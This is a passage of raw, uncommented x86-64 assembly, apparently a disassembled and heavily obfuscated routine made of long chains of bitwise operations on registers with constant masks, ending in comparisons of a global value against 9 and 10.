mov ecx, r11d
not ecx
mov eax, ebp
and eax, 0x9310f492
and r13d, 0x6cef0b6d
or r13d, eax
or ebp, ecx
and ecx, 0x9310f492
and r11d, 0x6cef0b6d
or r11d, ecx
xor r11d, r13d
not ebp
or ebp, r11d
mov eax, ebp
xor eax, 0xc4796390
and eax, ebp
not ebp
and ebp, 0xc4796390
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3b869c6f
and eax, 0xc4796390
or eax, ecx
mov ebx, eax
mov ecx, eax
xor ecx, 0xcf18609
and ecx, eax
not eax
mov edx, r9d
xor edx, 0xcf18609
mov edi, edx
and edx, r9d
not r9d
and eax, 0x4db8c533
and ebx, 0xb2473acc
or ebx, eax
mov ebp, ebx
xor ebp, 0xb2473acc
and edi, r9d
xor ebx, 0x4149433a
and ebx, ebp
mov eax, edi
not eax
mov esi, edx
not esi
mov r8d, eax
and r8d, 0x3a924302
and edi, 0xc56dbcfd
or edi, r8d
or eax, esi
and esi, 0x3a924302
and edx, 0xc56dbcfd
or edx, esi
xor edx, edi
not eax
or eax, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
mov eax, r9d
and eax, ebp
xor ebp, r9d
or ebp, eax
mov eax, ebp
not eax
and eax, 0xb2e3450e
and ebp, 0x4d1cbaf1
or ebp, eax
mov edx, ebp
xor edx, 0xc08b210
xor ebp, 0xb2e3450e
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0xe17448ef
and ecx, 0x1e8bb710
or ecx, ebx
or eax, ebp
and ebp, 0xe17448ef
and edx, 0x1e8bb710
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x125a4003
mov ebp, eax
and ebp, 0x4811240
or ebp, ecx
xor ebp, 0x4811240
mov ecx, eax
xor ecx, 0x16db5243
and ecx, eax
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xe924adbc
and ecx, 0x16db5243
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x40034
and ecx, 0x33708902
or ecx, ebp
xor ecx, 0x33708902
or ecx, 0xcc8b76c9
mov ebx, ecx
not ebx
and edx, 0xd36fc500
and eax, 0x2c903aff
or eax, edx
mov edx, eax
xor edx, 0x20100836
and edx, 0x33748936
xor eax, 0x1fe4b3c9
or eax, edx
mov edx, eax
not edx
and edx, 0x77299181
and eax, 0x88d66e7e
or eax, edx
mov edx, eax
xor edx, 0x942206
xor eax, 0x77299181
mov ebp, ecx
or ebp, eax
mov edi, ebp
not edi
and ecx, 0xf96a4cf8
and ebx, 0x2148106
or ebx, ecx
and eax, 0xf96a4cf8
and edx, 0x695b307
or edx, eax
xor edx, ebx
mov eax, edx
not eax
mov ecx, ebp
and ecx, 0xa6db3712
and edi, 0x11248824
or edi, ecx
or ebp, eax
and eax, 0xa6db3712
and edx, 0x5924c8ed
or edx, eax
xor edx, edi
not ebp
or ebp, edx
mov eax, ebp
not eax
mov ecx, eax
or ecx, 0x9ad38a9f
mov r8d, ecx
not r8d
or ebp, 0x44203020
and ebp, 0xce30ba34
and eax, 0x10c3008b
or eax, ebp
and ecx, 0xce30ba34
and r8d, 0x210c4540
or r8d, ecx
xor r8d, eax
mov r10d, r8d
not r10d
mov eax, r10d
and eax, 0x80110c1c
mov ecx, r8d
and ecx, 0x2e002
or ecx, eax
xor ecx, 0x2e002
mov eax, r8d
and eax, 0x7fec13e1
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7fec13e1
and eax, 0x8013ec1e
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xfaa3883f
and eax, 0x55c77c0
or eax, ecx
mov ecx, eax
xor ecx, 0x7000
xor eax, 0x30800010
and eax, 0x34dc0050
and ecx, 0x21f802
or ecx, eax
mov edi, ecx
xor edi, 0x21f802
xor ecx, 0x7154049d
mov eax, r10d
and eax, 0x7f815b59
mov edx, r8d
and edx, 0x807ea4a6
or edx, eax
xor edx, 0xb4835cf4
or edx, r10d
mov eax, edx
not eax
mov ebx, edi
xor ebx, edx
and ebx, edi
and ecx, 0x71755c9f
and edi, 0x488a040
or edi, ecx
and edx, 0x71755c9f
and eax, 0x8e8aa360
or eax, edx
xor eax, edi
mov ecx, ebx
not ecx
mov edx, eax
not edx
mov edi, ecx
and edi, 0xca199562
and ebx, 0x34e46810
or ebx, edi
or ecx, edx
and edx, 0xca199562
and eax, 0x35e66a9d
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
or ecx, 0x34fdf852
mov edx, ecx
not edx
or eax, 0xcb0207ad
mov r14d, eax
not r14d
and ecx, 0x5840c823
and edx, 0x8302078c
or edx, ecx
and eax, 0x5840c823
and r14d, 0x24bd3050
or r14d, eax
xor r14d, edx
mov r9d, r14d
not r9d
mov edx, r14d
xor edx, 0x697bcad1
and edx, r14d
mov eax, r14d
or eax, 0x9684352e
mov ebx, edx
not ebx
mov esi, eax
and esi, 0xd4305a9
mov ecx, r9d
and ecx, 0x6038ca50
or ecx, esi
or eax, ebx
and ebx, 0xd4305a9
and edx, 0xf2bcfa56
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2ff62e18
and eax, 0xd009d1e7
or eax, edx
mov edx, r14d
and edx, 0x2ff62e18
mov ebx, r9d
and ebx, 0xd009d1e7
or ebx, edx
xor ebx, eax
not ebx
or ebx, ecx
mov r11d, ebx
not r11d
mov ecx, r10d
or ecx, 0x9684352e
mov edx, ecx
not edx
mov esi, r8d
or esi, 0x5bc811
and esi, 0x5fd81d
mov ebp, r10d
and ebp, 0x96802522
or ebp, esi
and ecx, 0x5fd81d
and edx, 0x692002c0
or edx, ecx
xor edx, ebp
not edx
and r10d, 0x57a2d479
and r8d, 0xa85d2b86
or r8d, r10d
xor r8d, 0xa85d2b86
mov ecx, edx
and ecx, r8d
xor r8d, edx
or r8d, ecx
mov ebp, ebx
mov esi, r8d
and ebx, 0xb4fee9db
mov ecx, r11d
and ecx, 0x4b011624
or ecx, ebx
xor ecx, 0xb4fee9db
or ecx, r8d
mov edx, r8d
not edx
and ebp, 0x17f477c1
mov eax, r11d
and eax, 0xe80b883e
or eax, ebp
mov ebp, eax
xor ebp, 0x2801880c
xor eax, 0x17f477c1
mov ebx, eax
and ebx, 0xd73e5333
and ebp, 0x28c1accc
or ebp, ebx
mov ebx, edx
and ebx, 0xd73e5333
and esi, 0x28c1accc
or esi, ebx
xor esi, ebp
or eax, edx
not eax
or eax, esi
mov ebx, eax
not ebx
not ecx
xor edx, r11d
and edx, r11d
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, eax
or ebp, ecx
mov esi, ebp
not esi
and eax, 0xdceebbc3
and ebx, 0x2311443c
or ebx, eax
and ecx, 0xdceebbc3
and edx, 0x2311443c
or edx, ecx
xor edx, ebx
mov eax, edx
not eax
mov ecx, ebp
and ecx, 0xd72e2081
and esi, 0x28d1df7e
or esi, ecx
or ebp, eax
and eax, 0xd72e2081
and edx, 0x28d1df7e
or edx, eax
xor edx, esi
not ebp
or ebp, edx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x46470
mov ecx, ebp
and ecx, 0xe4400908
or ecx, eax
xor ecx, 0xe4400908
mov eax, ebp
and eax, 0x1bbb9287
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe122706c
and eax, 0x1edd8f93
or eax, ecx
mov ecx, eax
xor ecx, 0xe0980042
xor eax, 0x5441c14
and eax, 0x1f45febd
and ecx, 0xe0ba0142
or ecx, eax
mov eax, ecx
xor eax, 0x40880002
and eax, 0x50ccf01b
xor ecx, 0xf010ea4
and ecx, 0xaf330fe4
or ecx, eax
mov ebx, ecx
xor ebx, 0x50ccf01b
and ebx, ecx
and edx, 0xaf330fe4
xor ebp, 0x50ccf01b
or ebp, edx
mov eax, ebp
not eax
and eax, 0xbabc5079
and ebp, 0x4543af86
or ebp, eax
mov esi, ebp
xor esi, 0x4543af86
mov eax, ebp
xor eax, 0x2a241079
mov edx, ebx
not edx
and eax, 0x2f26b3ff
xor ebp, 0x7dc4d94
and ebp, esi
and esi, 0xd0d94c00
or esi, eax
mov r8d, esi
xor r8d, 0xd0d94c00
xor esi, 0x6db951ed
and esi, r8d
mov eax, edx
and eax, r8d
xor r8d, edx
and edx, 0x429fe212
and ebx, 0xbd601ded
or ebx, edx
mov ecx, esi
not ecx
mov edx, ebp
not edx
mov edi, ecx
and edi, 0x4ed30773
and esi, 0xb12cf88c
or esi, edi
or ecx, edx
and edx, 0x4ed30773
and ebp, 0xb12cf88c
or ebp, edx
xor ebp, esi
not ecx
or ecx, ebp
mov edx, ebx
not edx
and edx, ecx
not ecx
and ecx, ebx
or ecx, edx
or r8d, eax
mov eax, r8d
not eax
and eax, 0x9cc3c5f7
and r8d, 0x633c3a08
or r8d, eax
xor r8d, 0x633c3a08
mov eax, ecx
and eax, r8d
xor r8d, ecx
or r8d, eax
mov eax, r8d
not eax
and eax, 0xc0080524
mov ecx, r8d
and ecx, 0x640c010
or ecx, eax
xor ecx, 0x640c010
and r8d, 0x39b73acb
or r8d, ecx
mov eax, r9d
and eax, 0xfffffffe
and r14d, 1
or eax, r14d
mov edx, eax
xor edx, r9d
and edx, eax
not r14d
or r9d, 1
mov eax, r9d
not eax
and r9d, 0xdefe58e8
and eax, 0x2101a716
or eax, r9d
and r14d, 0xdefe58e9
xor r14d, eax
mov ebx, edx
not ebx
mov eax, r14d
not eax
and r14d, ebx
or ebx, eax
mov ebp, ebx
not ebp
and eax, edx
or eax, r14d
mov edx, eax
not edx
mov ecx, ebx
and ecx, 0xfa8b7175
and ebp, 0x5748e8a
or ebp, ecx
or ebx, edx
and edx, 0xfa8b7175
and eax, 0x5748e8a
or eax, edx
xor eax, ebp
not ebx
or ebx, eax
mov edi, ebx
not edi
mov edx, edi
and edx, ebx
mov ebp, edx
not ebp
mov ecx, ebx
and ecx, 0x134abd6d
mov eax, edi
and eax, 0xecb54292
or eax, ecx
mov ecx, ebx
or ecx, ebp
and ebp, 0x134abd6d
and edx, 0xecb54292
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf47a887f
and ecx, 0xb857780
or ecx, eax
mov edx, ecx
xor edx, 0xb857780
xor ecx, 0x240a087d
and ecx, 0x2d8e7ffd
mov eax, edx
and eax, 0xd2718002
or eax, ecx
xor eax, 0xe4ea7a4b
and edx, 0xc96405b6
or edx, eax
mov eax, edx
not eax
and eax, 0xb57ade64
and edx, 0x4a85219b
or edx, eax
mov eax, edx
xor eax, 0x4a85219b
mov ecx, edi
and ecx, 0x266308e0
and ebx, 0xd99cf71f
or ebx, ecx
xor ebx, 0x10f8f2a9
xor edi, ebx
and edi, ebx
xor edx, 0xb57ade64
and edx, edi
not edi
mov ecx, eax
xor ecx, edi
and ecx, eax
and edi, eax
or edi, edx
mov edx, ecx
not edx
mov eax, edi
not eax
mov ebp, edx
and ebp, 0xfe96d104
and ecx, 0x1692efb
or ecx, ebp
or edx, eax
and eax, 0xfe96d104
and edi, 0x1692efb
or edi, eax
xor edi, ecx
not edx
or edx, edi
mov eax, edx
xor eax, 0xc96405b6
and eax, edx
not edx
and edx, 0xc96405b6
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0x4139274f
mov ecx, eax
and ecx, 0xbec6d8b0
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xb5991c62
and ecx, 0x4a66e39d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x229
xor ecx, 0xb5fc4d2
mov ebx, ecx
and ebx, 0xfff67d44
and ebp, 0x982bb
or ebp, ebx
and eax, 0xfff67d44
and edx, 0x982bb
or edx, eax
xor edx, ebp
xor ecx, edx
and ecx, edx
mov eax, r8d
not eax
mov ebx, ecx
not ebx
mov ebp, eax
mov r9d, ecx
mov esi, ebx
mov r10d, r8d
or r10d, ecx
and eax, 0xef8a0eab
mov edi, r8d
and edi, 0x1075f154
or edi, eax
xor edi, 0xef8a0eab
or edi, ebx
and ebx, 0xa0415bd
and ecx, 0xf5fbea42
or ecx, ebx
xor ecx, r8d
xor ecx, 0xa0415bd
and ecx, r8d
and r8d, 0x341a2cca
and ebp, 0xcbe5d335
or ebp, r8d
and r9d, 0x341a2cca
and esi, 0xcbe5d335
or esi, r9d
xor esi, ebp
not r10d
or r10d, esi
mov r11d, r10d
not r11d
mov ebp, edi
not ebp
mov ebx, ecx
not ebx
mov esi, edi
and esi, 0x177e2549
and ebp, 0xe881dab6
or ebp, esi
or edi, ebx
and ebx, 0x177e2549
and ecx, 0xe881dab6
or ecx, ebx
xor ecx, ebp
not edi
or edi, ecx
mov r8d, edi
mov esi, edi
xor esi, 0x7c96ee3d
and esi, edi
not edi
and edi, 0xa1a59883
and r8d, 0x5e5a677c
or r8d, edi
mov r9d, r8d
xor r9d, 0x5e5a677c
mov ecx, r10d
xor ecx, 0x836911c2
and ecx, r10d
mov edx, r11d
and edx, 0x836911c2
mov ebx, r8d
xor ebx, 0xdd3376be
and ebx, r9d
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, ebx
not ecx
mov edi, esi
not edi
mov ebp, ecx
and ebp, 0x9c5de35f
and ebx, 0x63a21ca0
or ebx, ebp
or ecx, edi
and edi, 0x9c5de35f
and esi, 0x63a21ca0
or esi, edi
xor esi, ebx
not ecx
or ecx, esi
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
xor r8d, 0xa1a59883
mov eax, r11d
and eax, 0x92386110
and r10d, 0x6dc79eef
or r10d, eax
or r11d, r8d
and r8d, 0x92386110
and r9d, 0x6dc79eef
or r9d, r8d
xor r9d, r10d
not r11d
or r11d, r9d
mov eax, r11d
not eax
and eax, 0x91dabd2c
and r11d, 0x6e2542d3
or r11d, eax
mov eax, r11d
xor eax, 0x4e014252
mov r8d, ecx
not r8d
xor r11d, 0x91dabd2c
mov edx, r8d
and edx, 0xb16cb5a9
and ecx, 0x4e934a56
or ecx, edx
or r8d, r11d
and r11d, 0xb16cb5a9
and eax, 0x4e934a56
or eax, r11d
xor eax, ecx
not r8d
or r8d, eax
mov ecx, r8d
not ecx
mov eax, r8d
or eax, 0xc7b1f182
mov edx, eax
not edx
mov edi, r8d
xor edi, 0x384e0e7d
and edi, r8d
mov ebp, edi
not ebp
mov ebx, eax
and ebx, 0x7db0ee33
and edx, 0x4e004c
or edx, ebx
or eax, ebp
and ebp, 0x7db0ee33
and edi, 0x824f11cc
or edi, ebp
xor edi, edx
not eax
or eax, edi
mov edx, eax
not edx
and edx, 0x1b403a8d
and eax, 0xe4bfc572
or eax, edx
mov ebx, eax
xor ebx, 0x40d08306
xor eax, 0x22003410
and eax, 0xbe217c19
and ebx, 0x41de83e6
or ebx, eax
mov eax, ebx
xor eax, 0x411e8144
xor ebx, 0xbe217c19
mov edx, ecx
and edx, 0xb6149ce7
mov esi, r8d
and esi, 0x49eb6318
or esi, edx
xor esi, 0xb6149ce7
or esi, ecx
mov ebp, esi
not ebp
mov edx, ebx
xor edx, esi
and edx, ebx
and eax, 0xcf1ffd4c
and ebx, 0x30e002b3
or ebx, eax
and esi, 0xcf1ffd4c
and ebp, 0x30e002b3
or ebp, esi
xor ebp, ebx
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x96ddd395
and ebp, 0x69222c6a
or ebp, eax
mov eax, ebp
xor eax, 0x69222c6a
mov edx, ebp
xor edx, 0x96ddd395
xor ebp, 0x20f4fe80
and edx, ebp
and ebp, eax
mov edi, edx
not edi
mov ebx, ebp
not ebx
mov eax, edi
and eax, 0xf891fb15
and edx, 0x76e04ea
or edx, eax
or edi, ebx
and ebx, 0xf891fb15
and ebp, 0x76e04ea
or ebp, ebx
xor ebp, edx
not edi
or edi, ebp
mov eax, edi
not eax
and eax, 0x18447d9c
and edi, 0xe7bb8263
or edi, eax
mov eax, edi
xor eax, 0x8e2d1001
xor edi, 0x5192af76
mov edx, edi
and edx, 0x6042e4fc
and eax, 0x9fbd1b03
or eax, edx
xor eax, 0x6042e4fc
xor edi, eax
and edi, eax
mov eax, ecx
and eax, r8d
mov edx, eax
not edx
mov ebp, r8d
and ebp, 0x78948552
and ecx, 0x876b7aad
or ecx, ebp
or r8d, edx
and edx, 0x78948552
and eax, 0x876b7aad
or eax, edx
xor eax, ecx
not r8d
or r8d, eax
mov eax, r8d
not eax
and eax, 0x4afd0209
mov edx, r8d
and edx, 0xb502fdf6
or edx, eax
mov ecx, edx
xor ecx, 0xb502fdf6
mov eax, edx
xor eax, 0x20d68d51
and eax, ecx
and r8d, 0x95d470a7
mov ebp, eax
and ebp, r8d
xor r8d, eax
or r8d, ebp
mov eax, r8d
not eax
and eax, 0xf1b35b13
and r8d, 0xe4ca4ec
or r8d, eax
xor r8d, 0x64672bb4
xor edx, 0xa000008
and edx, 0x9b002cae
and ecx, 0x64ffd351
or ecx, edx
xor ecx, 0x64ffd351
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov r11d, ecx
not r11d
and ecx, 0xeee4baa8
and r11d, 0x111b4557
or r11d, ecx
mov r14d, r11d
xor r14d, 0xeee4baa8
xor r11d, 0x111b4557
mov r9d, edi
not r9d
mov eax, r9d
and eax, 0x62220100
mov ecx, edi
and ecx, 0x840c8c28
or ecx, eax
xor ecx, 0x840c8c28
mov esi, edi
xor esi, 0xe62e8d28
and esi, edi
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
not eax
and eax, 0x19d172d7
and esi, 0xe62e8d28
or esi, eax
mov eax, r11d
and eax, 0x3a05418c
mov r13d, r14d
and r13d, 0xc5fabe73
or r13d, eax
mov r8d, r13d
mov ecx, r13d
xor ecx, 0x3a05418c
mov r15d, esi
mov r10d, ecx
mov r12d, esi
xor r12d, ecx
and r12d, esi
and ecx, esi
not esi
mov eax, esi
and eax, 0xf0dba81e
and r15d, 0xf2457e1
or r15d, eax
xor r15d, 0x5705a8b3
or r15d, esi
mov ebp, r15d
not ebp
and r9d, 0x6e654af
and edi, 0xf919ab50
or edi, r9d
mov edx, edi
xor edx, 0xf919ab50
xor edi, 0x6644487
and edi, 0x4e65cc97
mov eax, edx
and eax, 0xb19a3368
or eax, edi
xor eax, 0xe9bbcc3a
and edx, 0xa7de00ad
or edx, eax
mov eax, edx
not eax
and eax, 0x9759c862
and edx, 0x68a6379d
or edx, eax
mov r9d, edx
xor r9d, 0x68a6379d
and r10d, 0x5821ff52
xor r13d, 0x6224bede
or r13d, r10d
mov eax, r13d
not eax
and eax, 0x26f4581d
and r13d, 0xd90ba7e2
or r13d, eax
and r11d, 0xdb4fdac8
and r14d, 0x24b02537
or r14d, r11d
mov eax, r14d
xor eax, 0x24b02537
xor r14d, 0x914242c8
and r14d, 0x91d267df
mov ebx, eax
and ebx, 0x6e2d9820
or ebx, r14d
xor ebx, 0x360c6772
and eax, 0xa7de00ad
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x1405bf71
and eax, 0xebfa408e
or eax, ebx
mov r11d, edx
xor r11d, 0x9759c862
mov r10d, r15d
and r10d, 0x51d24865
mov edi, r15d
xor edi, 0xae2db79a
and edi, ebp
xor edx, 0x39747ff8
mov ebx, edx
and ebx, r11d
and edx, r9d
mov r14d, r10d
and r14d, edi
xor edi, r10d
or edi, r14d
mov r14d, ebx
not r14d
mov r10d, r14d
and r10d, 0x8b97f776
and ebx, 0x74680889
or ebx, r10d
mov r10d, edx
not r10d
or r14d, r10d
and r10d, 0x8b97f776
and edx, 0x74680889
or edx, r10d
xor edx, ebx
mov r10d, r13d
not r14d
or r14d, edx
mov ebx, edi
not ebx
and ebx, r14d
not r14d
and r14d, edi
mov edx, r13d
xor edx, 0x26f4581d
or r14d, ebx
mov edi, ebp
and edi, 0xb6531b6d
and r15d, 0x49ace492
or r15d, edi
mov edi, eax
xor edi, 0x6972008e
xor eax, 0x1405bf71
or ebp, r9d
and r9d, 0xb6531b6d
and r11d, 0x49ace492
or r11d, r9d
xor r11d, r15d
not ebp
or ebp, r11d
not ebp
mov ebx, r14d
and ebx, ebp
xor ebp, r14d
or ebp, ebx
mov ebx, eax
and ebx, 0x928d7701
and edi, 0x6d7288fe
or edi, ebx
mov r9d, edi
xor r9d, 0x6d7288fe
xor r13d, 0x7d4c7715
and r13d, edx
mov r11d, edx
or r11d, 0xa447d0f7
mov r15d, r13d
not r15d
mov r14d, r15d
and r14d, 0x68fdd5f6
and r13d, 0x97022a09
or r13d, r14d
mov r14d, r11d
not r14d
or r15d, r11d
and r11d, 0x68fdd5f6
and r14d, 0x13002a08
or r14d, r11d
mov r11d, edi
xor r11d, 0x36caa7f6
and r11d, r9d
or eax, 0xa447d0f7
xor r14d, r13d
not r15d
or r15d, r14d
mov ebx, r11d
not ebx
mov r14d, ebx
and r14d, 0x15f43a7a
and r11d, 0xea0bc585
or r11d, r14d
mov r14d, eax
not r14d
or ebx, eax
and eax, 0x15f43a7a
and r14d, 0x4a080500
or r14d, eax
xor r14d, r11d
not ebx
or ebx, r14d
mov eax, r15d
not eax
and eax, 0x8284d993
and r15d, 0x7d7b266c
or r15d, eax
mov eax, ebx
not eax
and eax, 0x8284d993
and ebx, 0x7d7b266c
or ebx, eax
xor r10d, 0xd90ba7e2
xor ebx, r15d
mov eax, r10d
and eax, 0xa7b56b76
and edx, 0x584a9489
or edx, eax
xor edi, 0x928d7701
or r10d, edi
and edi, 0xa7b56b76
and r9d, 0x584a9489
or r9d, edi
xor r9d, edx
not r10d
or r10d, r9d
mov eax, r10d
not eax
mov edx, ebx
not edx
mov edi, edx
and edi, 0xfd4a2aa3
and ebx, 0x2b5d55c
or ebx, edi
or edx, r10d
and r10d, 0xfd4a2aa3
and eax, 0x2b5d55c
or eax, r10d
xor eax, ebx
not edx
or edx, eax
mov eax, ebp
mov ebx, ebp
xor ebx, 0x47c48e2a
and ebx, ebp
not ebp
and ebp, 0xda1c784f
and eax, 0x25e387b0
or eax, ebp
mov r9d, eax
xor r9d, 0x5c00000
xor eax, 0x4204080a
mov edi, edx
not edi
and edi, 0xc5e3fdce
mov ebp, edx
and ebp, 0x3a1c0231
or ebp, edi
mov edi, ebp
xor edi, 0x3a1c0231
xor ebp, 0x822773e4
and ebp, edi
or eax, 0xb83b71d5
mov edi, eax
and edi, 0x7a209eea
and r9d, 0x5c40000
or r9d, edi
mov edi, ebx
not edi
or eax, edi
and edi, 0x7a209eea
and ebx, 0x85df6115
or ebx, edi
xor ebx, r9d
and edx, 0xb83b71d5
not eax
or eax, ebx
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, eax
not ebp
and ebp, edx
not edx
and edx, eax
xor r8d, 0xc5fabe73
or edx, ebp
and esi, r8d
or ecx, esi
mov eax, r12d
and eax, ecx
xor ecx, r12d
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov ebp, eax
and ebp, ecx
xor ecx, eax
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x3226e5b5
and ecx, 0xcdd91a4a
or ecx, eax
mov ebp, ecx
xor ebp, 0x45000a02
xor ecx, 0x12006130
and ecx, 0x9ad97178
and ebp, 0x65268e87
or ebp, ecx
mov ecx, ebp
xor ecx, 0x65268e87
xor ebp, 0x9ad97178
mov esi, edx
not esi
and ecx, esi
or esi, ebp
mov eax, esi
not eax
and ebp, edx
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, esi
and edx, 0x46f0db09
and eax, 0xb90f24f6
or eax, edx
or esi, ecx
and ecx, 0x46f0db09
and ebp, 0xb90f24f6
or ebp, ecx
xor ebp, eax
not esi
or esi, ebp
mov edi, esi
not edi
mov edx, esi
or edx, 0x56e55331
mov ecx, edx
not ecx
mov ebp, edi
and ebp, 0x86fa1fc1
mov eax, esi
and eax, 0x7905e03e
or eax, ebp
not eax
or eax, edi
and esi, edi
mov ebp, edi
and ebp, esi
xor esi, edi
or edi, 0xa91aacce
and edx, 0x96b361c1
and ecx, 0x29088c0e
or ecx, edx
mov edx, edi
not edx
and edi, 0x96b361c1
and edx, 0x40441230
or edx, edi
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc275f80
and edx, 0xf3d8a07f
or edx, ecx
mov ecx, edx
xor ecx, 0x4a000401
xor edx, 0x12cd304
and edx, 0x11eedbb4
and ecx, 0xee11244b
or ecx, edx
mov edx, ecx
xor edx, 0x86000441
xor ecx, 0xa0100
and ecx, 0x1a0100
and edx, 0x86e01ec1
or edx, ecx
mov edi, edx
xor edi, 0x2000e80
xor edx, 0x791fe13e
mov ecx, edx
and edx, 0xddf65167
and edi, 0x2080e80
or edi, edx
mov edx, eax
not edx
or ecx, eax
and eax, 0xddf65167
and edx, 0x2209ae98
or edx, eax
mov eax, ecx
not eax
xor edx, edi
mov edi, ecx
and edi, 0x27765973
and eax, 0x80880680
or eax, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x27765973
and edx, 0xd889a68c
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x9aa3dc7c
and ecx, 0x655c2383
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1c59c3bd
and ecx, 0xe3a63c42
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov edi, ecx
and edi, 0xd037204a
and eax, 0x2fc8dfb5
or eax, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xd037204a
and edx, 0x2fc8dfb5
or edx, edi
xor edx, eax
not ecx
or ecx, edx
or esi, ebp
mov eax, ecx
not eax
mov edx, esi
mov ebx, esi
xor ebx, 0xa548625d
and ebx, esi
not esi
and esi, 0xac3e7c06
and edx, 0x53c183f9
or edx, esi
xor edx, 0x53c183f9
mov ebp, ecx
xor ebp, 0xa548625d
and ebp, eax
and ecx, 0x5ab79da2
mov edi, ebp
and edi, ecx
xor ecx, ebp
mov ebp, edx
and ebp, 0xa548625d
or ecx, edi
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ecx
not ebp
and ebp, ebx
not ebx
and ebx, ecx
mov edi, dword [0x1400c566c]
or ebx, ebp
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x80e8fbb3
and edx, 0x7f17044c
or edx, eax
xor edx, 0x7f17044c
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0xd75c58fd
and edx, 0x28a3a702
or edx, eax
mov eax, edx
xor eax, 0x10202
xor edx, 0x93080090
and edx, 0xbbaaa590
and eax, 0x44555a6f
or eax, edx
mov ecx, eax
xor ecx, 0x11008510
xor eax, 0x4401406e
and ecx, 0x11549f11
and eax, 0xeeab60ee
or eax, ecx
xor eax, 0x11549f11
cmp eax, 0xffffffff
sete r11b
setne dl
cmp edi, 0xa
setl r8b
cmp edi, 9
setg r9b
mov ebx, edx
or bl, r9b
xor dl, r9b
not dl
and dl, r9b
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov esi, r8d
mov ebx, r9d
or bl, r11b
mov eax, r9d
xor al, r11b
not al
and al, r11b
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, 1
mov r10d, eax
xor r10b, r11b
mov ebx, r11d
xor bl, r8b
and r11b, bl
and bl, r8b
mov ecx, r11d
and cl, bl
xor bl, r11b
or bl, cl
mov r11d, ebx
and bl, r8b
or r8b, dl
xor sil, dl
xor sil, 1
and sil, dl
xor dl, 1
xor sil, 1
mov ecx, r8d
xor cl, sil
or sil, r8b
xor sil, 1
or sil, cl
xor sil, 1
mov ecx, esi
and cl, dl
xor sil, dl
or sil, cl
mov r8d, esi
xor r8b, 1
xor r10b, 1
or r10b, al
xor r11b, 1
and r9b, r11b
or bl, r9b
xor bl, 1
or bl, r11b
mov edi, ebx
xor dil, 1
mov eax, r10d
mov edx, r10d
and dil, r10b
xor r10b, 1
and al, bl
xor dl, bl
or dl, al
and bl, r10b
or dil, bl
mov ecx, edi
xor cl, 1
mov eax, ecx
and al, dil
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
xor cl, dl
xor dl, 1
or dil, dl
xor dil, 1
or dil, cl
xor dil, 1
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov r11d, edi
xor r11b, 1
mov r9d, r11d
and r9b, dil
mov edx, r9d
xor dl, 1
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
and dl, r10b
mov ebp, r10d
and bpl, dl
xor dl, r10b
mov r14d, r8d
and r14b, r10b
xor r10b, r8b
mov eax, r8d
and al, sil
mov ebx, eax
xor bl, 1
mov ecx, esi
xor cl, bl
or bl, sil
xor bl, 1
or bl, cl
or dl, bpl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
or r10b, r14b
xor r10b, 1
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
mov ecx, esi
and cl, al
xor al, sil
or al, cl
mov esi, eax
xor sil, 1
mov ecx, esi
and cl, al
mov edx, esi
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r8d, r10d
xor r8b, 1
xor cl, 1
or sil, al
xor sil, 1
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov eax, r9d
and al, r11b
